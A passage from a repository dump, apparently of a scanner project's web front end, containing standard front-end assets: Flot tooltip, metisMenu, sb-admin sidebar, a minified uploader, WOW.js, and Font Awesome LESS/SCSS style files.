0&&(t=t.replace(s,o.series.xaxis.tickFormatter(o.series.data[o.dataIndex][0],o.series.xaxis))),o.series.yaxis.tickFormatter!==void 0&&(t=t.replace(n,o.series.yaxis.tickFormatter(o.series.data[o.dataIndex][1],o.series.yaxis))),t},i.prototype.isTimeMode=function(t,o){return o.series[t].options.mode!==void 0&&"time"===o.series[t].options.mode},i.prototype.isXDateFormat=function(){return this.tooltipOptions.xDateFormat!==void 0&&null!==this.tooltipOptions.xDateFormat},i.prototype.isYDateFormat=function(){return this.tooltipOptions.yDateFormat!==void 0&&null!==this.tooltipOptions.yDateFormat},i.prototype.timestampToDate=function(o,i){var e=new Date(o);return t.plot.formatDate(e,i)},i.prototype.adjustValPrecision=function(t,o,i){var e,s=o.match(t);return null!==s&&""!==RegExp.$1&&(e=RegExp.$1,i=i.toFixed(e),o=o.replace(t,i)),o};var e=function(t){new i(t)};t.plot.plugins.push({init:e,options:o,name:"tooltip",version:"0.6.1"})})(jQuery);
--------------------------------------------------------------------------------
/web/static/js/plugins/metisMenu/jquery.metisMenu.js:
--------------------------------------------------------------------------------
1 | ;(function ($, window, document, undefined) {
2 |
3 | var pluginName = "metisMenu",
4 | defaults = {
5 | toggle: true
6 | };
7 |
8 | function Plugin(element, options) {
9 | this.element = element;
10 | this.settings = $.extend({}, defaults, options);
11 | this._defaults = defaults;
12 | this._name = pluginName;
13 | this.init();
14 | }
15 |
16 | Plugin.prototype = {
17 | init: function () {
18 |
19 | var $this = $(this.element),
20 | $toggle = this.settings.toggle;
21 |
22 | $this.find('li.active').has('ul').children('ul').addClass('collapse in');
23 | $this.find('li').not('.active').has('ul').children('ul').addClass('collapse');
24 |
25 | $this.find('li').has('ul').children('a').on('click', function (e) {
26 | e.preventDefault();
27 |
28 | $(this).parent('li').toggleClass('active').children('ul').collapse('toggle');
29 |
30 | if ($toggle) {
31 | $(this).parent('li').siblings().removeClass('active').children('ul.in').collapse('hide');
32 | }
33 | });
34 | }
35 | };
36 |
37 | $.fn[ pluginName ] = function (options) {
38 | return this.each(function () {
39 | if (!$.data(this, "plugin_" + pluginName)) {
40 | $.data(this, "plugin_" + pluginName, new Plugin(this, options));
41 | }
42 | });
43 | };
44 |
45 | })(jQuery, window, document);
46 |
--------------------------------------------------------------------------------
/web/static/js/sb-admin.js:
--------------------------------------------------------------------------------
1 | $(function() {
2 |
3 | $('#side-menu').metisMenu();
4 |
5 | });
6 |
7 | //Loads the correct sidebar on window load,
8 | //collapses the sidebar on window resize.
9 | $(function() {
10 | $(window).bind("load resize", function() {
11 | width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
12 | if (width < 768) {
13 | $('div.sidebar-collapse').addClass('collapse')
14 | } else {
15 | $('div.sidebar-collapse').removeClass('collapse')
16 | }
17 | })
18 | })
19 |
--------------------------------------------------------------------------------
/web/static/js/uploader.min.js:
--------------------------------------------------------------------------------
1 | !function(a,b){"function"==typeof define&&define.amd?define("simple-uploader",["jquery","simple-module"],function(c,d){return a.uploader=b(c,d)}):"object"==typeof exports?module.exports=b(require("jquery"),require("simplemodule")):(a.simple=a.simple||{},a.simple.uploader=b(jQuery,SimpleModule))}(this,function(a,b){var c,d,e=function(a,b){function c(){this.constructor=a}for(var d in b)f.call(b,d)&&(a[d]=b[d]);return c.prototype=b.prototype,a.prototype=new c,a.__super__=b.prototype,a},f={}.hasOwnProperty;return c=function(b){function c(){return c.__super__.constructor.apply(this,arguments)}return e(c,b),c.count=0,c.prototype.opts={url:"",params:null,fileKey:"upload_file",connectionCount:3},c.prototype._init=function(){return this.files=[],this.queue=[],this.id=++c.count,this.on("uploadcomplete",function(b){return function(c,d){return b.files.splice(a.inArray(d,b.files),1),b.queue.length>0&&b.files.lengthe;e++)d=b[e],this.upload(d,c);else a(b).is("input:file")?(f=a(b).attr("name"),f&&(c.fileKey=f),this.upload(a.makeArray(a(b)[0].files),c)):b.id&&b.obj||(b=this.getFile(b));if(b&&b.obj){if(a.extend(b,c),this.files.length>=this.opts.connectionCount)return void this.queue.push(b);if(this.triggerHandler("beforeupload",[b])!==!1)return this.files.push(b),this._xhrUpload(b),this.uploading=!0}}},c.prototype.getFile=function(a){var b,c,d;return a instanceof window.File||a instanceof window.Blob?(b=null!=(c=a.fileName)?c:a.name,{id:this.generateId(),url:this.opts.url,params:this.opts.params,fileKey:this.opts.fileKey,name:b,size:null!=(d=a.fileSize)?d:a.size,ext:b?b.split(".").pop().toLowerCase():"",obj:a}):null},c.prototype._xhrUpload=function(b){var c,d,e,f;if(c=new FormData,c.append(b.fileKey,b.obj),c.append("original_filename",b.name),b.params){e=b.params;for(d in e)f=e[d],c.append(d,f)}return b.xhr=a.ajax({url:b.url,data:c,processData:!1,contentType:!1,type:"POST",headers:{"X-File-Name":encodeURIComponent(b.name)},xhr:function(){var b;return b=a.ajaxSettings.xhr(),b&&(b.upload.onprogress=function(a){return function(b){return a.progress(b)}}(this)),b},progress:function(a){return function(c){return c.lengthComputable?a.trigger("uploadprogress",[b,c.loaded,c.total]):void 0}}(this),error:function(a){return function(c,d,e){return a.trigger("uploaderror",[b,c,d])}}(this),success:function(c){return function(d){return c.trigger("uploadprogress",[b,b.size,b.size]),c.trigger("uploadsuccess",[b,d]),a(document).trigger("uploadsuccess",[b,d,c])}}(this),complete:function(a){return function(c,d){return a.trigger("uploadcomplete",[b,c.responseText])}}(this)})},c.prototype.cancel=function(a){var b,c,d,e;if(!a.id)for(e=this.files,c=0,d=e.length;d>c;c++)if(b=e[c],b.id===1*a){a=b;break}return this.trigger("uploadcancel",[a]),a.xhr&&a.xhr.abort(),a.xhr=null},c.prototype.readImageFile=function(b,c){var d,e;if(a.isFunction(c))return e=new Image,e.onload=function(){return c(e)},e.onerror=function(){return c()},window.FileReader&&FileReader.prototype.readAsDataURL&&/^image/.test(b.type)?(d=new FileReader,d.onload=function(a){return e.src=a.target.result},d.readAsDataURL(b)):c()},c.prototype.destroy=function(){var b,c,d,e;for(this.queue.length=0,e=this.files,c=0,d=e.length;d>c;c++)b=e[c],this.cancel(b);return a(window).off(".uploader-"+this.id),a(document).off(".uploader-"+this.id)},c.i18n={"zh-CN":{leaveConfirm:"正在上传文件,如果离开上传会自动取消"}},c.locale="zh-CN",c}(b),d=function(a){return new c(a)}});
--------------------------------------------------------------------------------
/web/static/js/wow.min.js:
--------------------------------------------------------------------------------
1 | /*! WOW - v0.1.9 - 2014-05-10
2 | * Copyright (c) 2014 Matthieu Aussaguel; Licensed MIT */(function(){var a,b,c=function(a,b){return function(){return a.apply(b,arguments)}};a=function(){function a(){}return a.prototype.extend=function(a,b){var c,d;for(c in a)d=a[c],null!=d&&(b[c]=d);return b},a.prototype.isMobile=function(a){return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(a)},a}(),b=this.WeakMap||(b=function(){function a(){this.keys=[],this.values=[]}return a.prototype.get=function(a){var b,c,d,e,f;for(f=this.keys,b=d=0,e=f.length;e>d;b=++d)if(c=f[b],c===a)return this.values[b]},a.prototype.set=function(a,b){var c,d,e,f,g;for(g=this.keys,c=e=0,f=g.length;f>e;c=++e)if(d=g[c],d===a)return void(this.values[c]=b);return this.keys.push(a),this.values.push(b)},a}()),this.WOW=function(){function d(a){null==a&&(a={}),this.scrollCallback=c(this.scrollCallback,this),this.scrollHandler=c(this.scrollHandler,this),this.start=c(this.start,this),this.scrolled=!0,this.config=this.util().extend(a,this.defaults),this.animationNameCache=new b}return d.prototype.defaults={boxClass:"wow",animateClass:"animated",offset:0,mobile:!0},d.prototype.init=function(){var a;return this.element=window.document.documentElement,"interactive"===(a=document.readyState)||"complete"===a?this.start():document.addEventListener("DOMContentLoaded",this.start)},d.prototype.start=function(){var a,b,c,d;if(this.boxes=this.element.getElementsByClassName(this.config.boxClass),this.boxes.length){if(this.disabled())return this.resetStyle();for(d=this.boxes,b=0,c=d.length;c>b;b++)a=d[b],this.applyStyle(a,!0);return window.addEventListener("scroll",this.scrollHandler,!1),window.addEventListener("resize",this.scrollHandler,!1),this.interval=setInterval(this.scrollCallback,50)}},d.prototype.stop=function(){return window.removeEventListener("scroll",this.scrollHandler,!1),window.removeEventListener("resize",this.scrollHandler,!1),null!=this.interval?clearInterval(this.interval):void 0},d.prototype.show=function(a){return this.applyStyle(a),a.className=""+a.className+" "+this.config.animateClass},d.prototype.applyStyle=function(a,b){var c,d,e;return d=a.getAttribute("data-wow-duration"),c=a.getAttribute("data-wow-delay"),e=a.getAttribute("data-wow-iteration"),this.animate(function(f){return function(){return f.customStyle(a,b,d,c,e)}}(this))},d.prototype.animate=function(){return"requestAnimationFrame"in window?function(a){return window.requestAnimationFrame(a)}:function(a){return a()}}(),d.prototype.resetStyle=function(){var a,b,c,d,e;for(d=this.boxes,e=[],b=0,c=d.length;c>b;b++)a=d[b],e.push(a.setAttribute("style","visibility: visible;"));return e},d.prototype.customStyle=function(a,b,c,d,e){return b&&this.cacheAnimationName(a),a.style.visibility=b?"hidden":"visible",c&&this.vendorSet(a.style,{animationDuration:c}),d&&this.vendorSet(a.style,{animationDelay:d}),e&&this.vendorSet(a.style,{animationIterationCount:e}),this.vendorSet(a.style,{animationName:b?"none":this.cachedAnimationName(a)}),a},d.prototype.vendors=["moz","webkit"],d.prototype.vendorSet=function(a,b){var c,d,e,f;f=[];for(c in b)d=b[c],a[""+c]=d,f.push(function(){var b,f,g,h;for(g=this.vendors,h=[],b=0,f=g.length;f>b;b++)e=g[b],h.push(a[""+e+c.charAt(0).toUpperCase()+c.substr(1)]=d);return h}.call(this));return f},d.prototype.vendorCSS=function(a,b){var c,d,e,f,g,h;for(d=window.getComputedStyle(a),c=d.getPropertyCSSValue(b),h=this.vendors,f=0,g=h.length;g>f;f++)e=h[f],c=c||d.getPropertyCSSValue("-"+e+"-"+b);return c},d.prototype.animationName=function(a){var b;try{b=this.vendorCSS(a,"animation-name").cssText}catch(c){b=window.getComputedStyle(a).getPropertyValue("animation-name")}return"none"===b?"":b},d.prototype.cacheAnimationName=function(a){return this.animationNameCache.set(a,this.animationName(a))},d.prototype.cachedAnimationName=function(a){return this.animationNameCache.get(a)},d.prototype.scrollHandler=function(){return this.scrolled=!0},d.prototype.scrollCallback=function(){var a;return this.scrolled&&(this.scrolled=!1,this.boxes=function(){var b,c,d,e;for(d=this.boxes,e=[],b=0,c=d.length;c>b;b++)a=d[b],a&&(this.isVisible(a)?this.show(a):e.push(a));return e}.call(this),!this.boxes.length)?this.stop():void 0},d.prototype.offsetTop=function(a){for(var b;void 0===a.offsetTop;)a=a.parentNode;for(b=a.offsetTop;a=a.offsetParent;)b+=a.offsetTop;return b},d.prototype.isVisible=function(a){var b,c,d,e,f;return c=a.getAttribute("data-wow-offset")||this.config.offset,f=window.pageYOffset,e=f+this.element.clientHeight-c,d=this.offsetTop(a),b=d+a.clientHeight,e>=d&&b>=f},d.prototype.util=function(){return this._util||(this._util=new a)},d.prototype.disabled=function(){return!this.config.mobile&&this.util().isMobile(navigator.userAgent)},d}()}).call(this);
--------------------------------------------------------------------------------
/web/static/less/icons.less:
--------------------------------------------------------------------------------
1 | /*
2 | Template Name: Adminto Dashboard
3 | Author: CoderThemes
4 | Email: coderthemes@gmail.com
5 | File: Icons
6 | */
7 |
8 | @import "icons/font-awesome/less/font-awesome";
9 | @import "icons/themify-icons/themify-icons";
10 | @import "icons/material-design-iconic-font/material-design-iconic-font";
11 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/HELP-US-OUT.txt:
--------------------------------------------------------------------------------
1 | I hope you love Font Awesome. If you've found it useful, please do me a favor and check out my latest project,
2 | Fonticons (https://fonticons.com). It makes it easy to put the perfect icons on your website. Choose from our awesome,
3 | comprehensive icon sets or copy and paste your own.
4 |
5 | Please. Check it out.
6 |
7 | -Dave Gandy
8 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/css/mixins.css:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/css/mixins.css
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/css/variables.css:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/css/variables.css
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/fonts/FontAwesome.otf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/fonts/FontAwesome.otf
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.eot
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.ttf
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.woff
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/less/icons/font-awesome/fonts/fontawesome-webfont.woff2
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/less/animated.less:
--------------------------------------------------------------------------------
1 | // Animated Icons
2 | // --------------------------
3 |
4 | .@{fa-css-prefix}-spin {
5 | -webkit-animation: fa-spin 2s infinite linear;
6 | animation: fa-spin 2s infinite linear;
7 | }
8 |
9 | .@{fa-css-prefix}-pulse {
10 | -webkit-animation: fa-spin 1s infinite steps(8);
11 | animation: fa-spin 1s infinite steps(8);
12 | }
13 |
14 | @-webkit-keyframes fa-spin {
15 | 0% {
16 | -webkit-transform: rotate(0deg);
17 | transform: rotate(0deg);
18 | }
19 | 100% {
20 | -webkit-transform: rotate(359deg);
21 | transform: rotate(359deg);
22 | }
23 | }
24 |
25 | @keyframes fa-spin {
26 | 0% {
27 | -webkit-transform: rotate(0deg);
28 | transform: rotate(0deg);
29 | }
30 | 100% {
31 | -webkit-transform: rotate(359deg);
32 | transform: rotate(359deg);
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/less/bordered-pulled.less:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em @fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .@{fa-css-prefix}-pull-left { float: left; }
11 | .@{fa-css-prefix}-pull-right { float: right; }
12 |
13 | .@{fa-css-prefix} {
14 | &.@{fa-css-prefix}-pull-left { margin-right: .3em; }
15 | &.@{fa-css-prefix}-pull-right { margin-left: .3em; }
16 | }
17 |
18 | /* Deprecated as of 4.4.0 */
19 | .pull-right { float: right; }
20 | .pull-left { float: left; }
21 |
22 | .@{fa-css-prefix} {
23 | &.pull-left { margin-right: .3em; }
24 | &.pull-right { margin-left: .3em; }
25 | }
26 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/less/core.less:
--------------------------------------------------------------------------------
1 | // Base Class Definition
2 | // -------------------------
3 |
4 | .@{fa-css-prefix} {
5 | display: inline-block;
6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration
7 | font-size: inherit; // can't have font-size inherit on line above, so need to override
8 | text-rendering: auto; // optimizelegibility throws things off #1094
9 | -webkit-font-smoothing: antialiased;
10 | -moz-osx-font-smoothing: grayscale;
11 |
12 | }
13 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/less/fixed-width.less:
--------------------------------------------------------------------------------
1 | // Fixed Width Icons
2 | // -------------------------
3 | .@{fa-css-prefix}-fw {
4 | width: (18em / 14);
5 | text-align: center;
6 | }
7 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/less/font-awesome.less:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome 4.5.0 by @davegandy - http://fontawesome.io - @fontawesome
3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
4 | */
5 |
6 | @import "variables.less";
7 | @import "mixins.less";
8 | @import "path.less";
9 | @import "core.less";
10 | @import "larger.less";
11 | @import "fixed-width.less";
12 | @import "list.less";
13 | @import "bordered-pulled.less";
14 | @import "animated.less";
15 | @import "rotated-flipped.less";
16 | @import "stacked.less";
17 | @import "icons.less";
18 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/less/larger.less:
--------------------------------------------------------------------------------
1 | // Icon Sizes
2 | // -------------------------
3 |
4 | /* makes the font 33% larger relative to the icon container */
5 | .@{fa-css-prefix}-lg {
6 | font-size: (4em / 3);
7 | line-height: (3em / 4);
8 | vertical-align: -15%;
9 | }
10 | .@{fa-css-prefix}-2x { font-size: 2em; }
11 | .@{fa-css-prefix}-3x { font-size: 3em; }
12 | .@{fa-css-prefix}-4x { font-size: 4em; }
13 | .@{fa-css-prefix}-5x { font-size: 5em; }
14 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/less/list.less:
--------------------------------------------------------------------------------
1 | // List Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-ul {
5 | padding-left: 0;
6 | margin-left: @fa-li-width;
7 | list-style-type: none;
8 | > li { position: relative; }
9 | }
10 | .@{fa-css-prefix}-li {
11 | position: absolute;
12 | left: -@fa-li-width;
13 | width: @fa-li-width;
14 | top: (2em / 14);
15 | text-align: center;
16 | &.@{fa-css-prefix}-lg {
17 | left: (-@fa-li-width + (4em / 14));
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/less/mixins.less:
--------------------------------------------------------------------------------
1 | // Mixins
2 | // --------------------------
3 |
4 | .fa-icon() {
5 | display: inline-block;
6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration
7 | font-size: inherit; // can't have font-size inherit on line above, so need to override
8 | text-rendering: auto; // optimizelegibility throws things off #1094
9 | -webkit-font-smoothing: antialiased;
10 | -moz-osx-font-smoothing: grayscale;
11 |
12 | }
13 |
14 | .fa-icon-rotate(@degrees, @rotation) {
15 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation);
16 | -webkit-transform: rotate(@degrees);
17 | -ms-transform: rotate(@degrees);
18 | transform: rotate(@degrees);
19 | }
20 |
21 | .fa-icon-flip(@horiz, @vert, @rotation) {
22 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation, mirror=1);
23 | -webkit-transform: scale(@horiz, @vert);
24 | -ms-transform: scale(@horiz, @vert);
25 | transform: scale(@horiz, @vert);
26 | }
27 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/less/path.less:
--------------------------------------------------------------------------------
1 | /* FONT PATH
2 | * -------------------------- */
3 |
4 | @font-face {
5 | font-family: 'FontAwesome';
6 | src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}');
7 | src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'),
8 | url('@{fa-font-path}/fontawesome-webfont.woff2?v=@{fa-version}') format('woff2'),
9 | url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'),
10 | url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'),
11 | url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg');
12 | // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts
13 | font-weight: normal;
14 | font-style: normal;
15 | }
16 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/less/rotated-flipped.less:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); }
5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); }
6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); }
7 |
8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); }
9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); }
10 |
11 | // Hook for IE8-9
12 | // -------------------------
13 |
14 | :root .@{fa-css-prefix}-rotate-90,
15 | :root .@{fa-css-prefix}-rotate-180,
16 | :root .@{fa-css-prefix}-rotate-270,
17 | :root .@{fa-css-prefix}-flip-horizontal,
18 | :root .@{fa-css-prefix}-flip-vertical {
19 | filter: none;
20 | }
21 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/less/stacked.less:
--------------------------------------------------------------------------------
1 | // Stacked Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-stack {
5 | position: relative;
6 | display: inline-block;
7 | width: 2em;
8 | height: 2em;
9 | line-height: 2em;
10 | vertical-align: middle;
11 | }
12 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x {
13 | position: absolute;
14 | left: 0;
15 | width: 100%;
16 | text-align: center;
17 | }
18 | .@{fa-css-prefix}-stack-1x { line-height: inherit; }
19 | .@{fa-css-prefix}-stack-2x { font-size: 2em; }
20 | .@{fa-css-prefix}-inverse { color: @fa-inverse; }
21 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/scss/_animated.scss:
--------------------------------------------------------------------------------
1 | // Spinning Icons
2 | // --------------------------
3 |
4 | .#{$fa-css-prefix}-spin {
5 | -webkit-animation: fa-spin 2s infinite linear;
6 | animation: fa-spin 2s infinite linear;
7 | }
8 |
9 | .#{$fa-css-prefix}-pulse {
10 | -webkit-animation: fa-spin 1s infinite steps(8);
11 | animation: fa-spin 1s infinite steps(8);
12 | }
13 |
14 | @-webkit-keyframes fa-spin {
15 | 0% {
16 | -webkit-transform: rotate(0deg);
17 | transform: rotate(0deg);
18 | }
19 | 100% {
20 | -webkit-transform: rotate(359deg);
21 | transform: rotate(359deg);
22 | }
23 | }
24 |
25 | @keyframes fa-spin {
26 | 0% {
27 | -webkit-transform: rotate(0deg);
28 | transform: rotate(0deg);
29 | }
30 | 100% {
31 | -webkit-transform: rotate(359deg);
32 | transform: rotate(359deg);
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/scss/_bordered-pulled.scss:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em $fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .#{$fa-css-prefix}-pull-left { float: left; }
11 | .#{$fa-css-prefix}-pull-right { float: right; }
12 |
13 | .#{$fa-css-prefix} {
14 | &.#{$fa-css-prefix}-pull-left { margin-right: .3em; }
15 | &.#{$fa-css-prefix}-pull-right { margin-left: .3em; }
16 | }
17 |
18 | /* Deprecated as of 4.4.0 */
19 | .pull-right { float: right; }
20 | .pull-left { float: left; }
21 |
22 | .#{$fa-css-prefix} {
23 | &.pull-left { margin-right: .3em; }
24 | &.pull-right { margin-left: .3em; }
25 | }
26 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/scss/_core.scss:
--------------------------------------------------------------------------------
1 | // Base Class Definition
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix} {
5 | display: inline-block;
6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration
7 | font-size: inherit; // can't have font-size inherit on line above, so need to override
8 | text-rendering: auto; // optimizelegibility throws things off #1094
9 | -webkit-font-smoothing: antialiased;
10 | -moz-osx-font-smoothing: grayscale;
11 |
12 | }
13 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/scss/_fixed-width.scss:
--------------------------------------------------------------------------------
1 | // Fixed Width Icons
2 | // -------------------------
3 | .#{$fa-css-prefix}-fw {
4 | width: (18em / 14);
5 | text-align: center;
6 | }
7 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/scss/_larger.scss:
--------------------------------------------------------------------------------
1 | // Icon Sizes
2 | // -------------------------
3 |
4 | /* makes the font 33% larger relative to the icon container */
5 | .#{$fa-css-prefix}-lg {
6 | font-size: (4em / 3);
7 | line-height: (3em / 4);
8 | vertical-align: -15%;
9 | }
10 | .#{$fa-css-prefix}-2x { font-size: 2em; }
11 | .#{$fa-css-prefix}-3x { font-size: 3em; }
12 | .#{$fa-css-prefix}-4x { font-size: 4em; }
13 | .#{$fa-css-prefix}-5x { font-size: 5em; }
14 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/scss/_list.scss:
--------------------------------------------------------------------------------
1 | // List Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-ul {
5 | padding-left: 0;
6 | margin-left: $fa-li-width;
7 | list-style-type: none;
8 | > li { position: relative; }
9 | }
10 | .#{$fa-css-prefix}-li {
11 | position: absolute;
12 | left: -$fa-li-width;
13 | width: $fa-li-width;
14 | top: (2em / 14);
15 | text-align: center;
16 | &.#{$fa-css-prefix}-lg {
17 | left: -$fa-li-width + (4em / 14);
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/scss/_mixins.scss:
--------------------------------------------------------------------------------
1 | // Mixins
2 | // --------------------------
3 |
4 | @mixin fa-icon() {
5 | display: inline-block;
6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration
7 | font-size: inherit; // can't have font-size inherit on line above, so need to override
8 | text-rendering: auto; // optimizelegibility throws things off #1094
9 | -webkit-font-smoothing: antialiased;
10 | -moz-osx-font-smoothing: grayscale;
11 |
12 | }
13 |
14 | @mixin fa-icon-rotate($degrees, $rotation) {
15 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation});
16 | -webkit-transform: rotate($degrees);
17 | -ms-transform: rotate($degrees);
18 | transform: rotate($degrees);
19 | }
20 |
21 | @mixin fa-icon-flip($horiz, $vert, $rotation) {
22 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation});
23 | -webkit-transform: scale($horiz, $vert);
24 | -ms-transform: scale($horiz, $vert);
25 | transform: scale($horiz, $vert);
26 | }
27 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/scss/_path.scss:
--------------------------------------------------------------------------------
1 | /* FONT PATH
2 | * -------------------------- */
3 |
4 | @font-face {
5 | font-family: 'FontAwesome';
6 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}');
7 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'),
8 | url('#{$fa-font-path}/fontawesome-webfont.woff2?v=#{$fa-version}') format('woff2'),
9 | url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'),
10 | url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'),
11 | url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg');
12 | // src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts
13 | font-weight: normal;
14 | font-style: normal;
15 | }
16 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/scss/_rotated-flipped.scss:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); }
5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); }
6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); }
7 |
8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); }
9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); }
10 |
11 | // Hook for IE8-9
12 | // -------------------------
13 |
14 | :root .#{$fa-css-prefix}-rotate-90,
15 | :root .#{$fa-css-prefix}-rotate-180,
16 | :root .#{$fa-css-prefix}-rotate-270,
17 | :root .#{$fa-css-prefix}-flip-horizontal,
18 | :root .#{$fa-css-prefix}-flip-vertical {
19 | filter: none;
20 | }
21 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/scss/_stacked.scss:
--------------------------------------------------------------------------------
1 | // Stacked Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-stack {
5 | position: relative;
6 | display: inline-block;
7 | width: 2em;
8 | height: 2em;
9 | line-height: 2em;
10 | vertical-align: middle;
11 | }
12 | .#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x {
13 | position: absolute;
14 | left: 0;
15 | width: 100%;
16 | text-align: center;
17 | }
18 | .#{$fa-css-prefix}-stack-1x { line-height: inherit; }
19 | .#{$fa-css-prefix}-stack-2x { font-size: 2em; }
20 | .#{$fa-css-prefix}-inverse { color: $fa-inverse; }
21 |
--------------------------------------------------------------------------------
/web/static/less/icons/font-awesome/scss/font-awesome.scss:
--------------------------------------------------------------------------------
1 | /*!
